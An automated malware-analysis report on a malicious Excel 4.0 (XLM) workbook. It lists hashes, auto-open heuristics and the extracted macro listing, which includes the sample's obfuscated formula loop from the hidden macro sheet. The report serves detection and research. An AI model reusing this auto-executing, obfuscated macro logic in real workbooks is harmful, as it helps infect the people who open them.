Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d4f7e0ded69c6087…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:55 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 6c758f0ee5fac7261524fb9b18144796 SHA-1: 66fea71b2018c44f93cf3cdecff8fe2c9ab4b67c SHA-256: d4f7e0ded69c6087aad8541d3ff8ac4f8edcb5684cf6419427e7af10710ee351
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6728 bytes
SHA-256: 7291d9df82655301ccfe2dbd9ec8d5db12013866cd56880542d40cbe4f2941fa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JDvQruU
' 0018     20 LABEL : Cell Value, String Constant - AkgVl len=0 
' 0018     26 LABEL : Cell Value, String Constant - AnXDYAteFzY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I143 
' 0018     21 LABEL : Cell Value, String Constant - bkEUwb len=0 
' 0018     23 LABEL : Cell Value, String Constant - BPcBvFBQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - DFqEsLz len=0 
' 0018     25 LABEL : Cell Value, String Constant - FNhFzSiZwQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - ibxWjE len=0 
' 0018     20 LABEL : Cell Value, String Constant - jNoue len=0 
' 0018     21 LABEL : Cell Value, String Constant - KUwHUG len=0 
' 0018     20 LABEL : Cell Value, String Constant - mXwCB len=0 
' 0018     20 LABEL : Cell Value, String Constant - nPHCS len=0 
' 0018     23 LABEL : Cell Value, String Constant - RgpLUCNI len=0 
' 0018     22 LABEL : Cell Value, String Constant - rUZTezd len=0 
' 0018     21 LABEL : Cell Value, String Constant - tFLueB len=0 
' 0018     26 LABEL : Cell Value, String Constant - vlOWblMPIek len=0 
' 0018     25 LABEL : Cell Value, String Constant - WBuDCtMeCh len=0 
' 0018     27 LABEL : Cell Value, String Constant - XJqmqHDcoSIZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - XJXwzET len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZiaRxcTy len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZkRjTUQWBz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JDvQruU,I53,"SET.NAME("ZkRjTUQWBz",0+VALUE("0"))",""
'  JDvQruU,I55,"SET.NAME("ibxWjE",ZkRjTUQWBz)",""
'  JDvQruU,I58,"SET.NAME("FNhFzSiZwQ",ZkRjTUQWBz)",""
'  JDvQruU,I62,"SET.NAME("BPcBvFBQ",COUNTA(vlOWblMPIek))",""
'  JDvQruU,I65,"SET.NAME("bkEUwb",COUNTA(AnXDYAteFzY))",""
'  JDvQruU,I70,[],""
'  JDvQruU,I72,"SET.NAME("tFLueB","")",""
'  JDvQruU,I77,"ibxWjE",""
'  JDvQruU,I81,"SET.NAME("DFqEsLz",HLOOKUP("*",vlOWblMPIek,ibxWjE,FALSE))",""
'  JDvQruU,I86,"XJqmqHDcoSIZ",""
'  JDvQruU,I90,"SET.NAME("KUwHUG",ZkRjTUQWBz)",""
'  JDvQruU,P92,"",-70.00000000000000000000
'  JDvQruU,P93,"",906.00000000000000000000
'  JDvQruU,P94,"",661.00000000000000000000
'  JDvQruU,I95,[],""
'  JDvQruU,P95,"",-203.00000000000000000000
'  JDvQruU,P96,"",921.00000000000000000000
'  JDvQruU,I97,"KUwHUG",""
'  JDvQruU,P97,"",284.00000000000000000000
'  JDvQruU,I99,"mXwCB",""
'  JDvQruU,I102,"AkgVl",""
'  JDvQruU,I105,"RgpLUCNI",""
'  JDvQruU,I110,"SET.NAME("WBuDCtMeCh",VALUE(HLOOKUP("*",AnXDYAteFzY,RgpLUCNI,FALSE)))",""
'  JDvQruU,I114,"ZiaRxcTy",""
'  JDvQruU,I116,"tFLueB",""
'  JDvQruU,I120,"FNhFzSiZwQ",""
'  JDvQruU,I123,NEXT(),""
'  JDvQruU,I128,"rUZTezd",""
'  JDvQruU,I130,[],""
'  JDvQruU,I133,"nPHCS",""
'  JDvQruU,I135,NEXT(),""
'  JDvQruU,I140,RETURN(),""
'  JDvQruU,I165,"SET.NAME("XJXwzET",I53)",""
'  JDvQruU,I169,"vlOWblMPIek",""
'  JDvQruU,I173,"SET.NAME("AnXDYAteFzY",R46C13)",""
'  JDvQruU,I177,"SET.NAME("nPHCS",184)",""
'  JDvQruU,I181,"SET.NAME("jNoue",9)",""
'  JDvQruU,I183,XJXwzET(),""
'  JDvQruU,I184,HALT(),""

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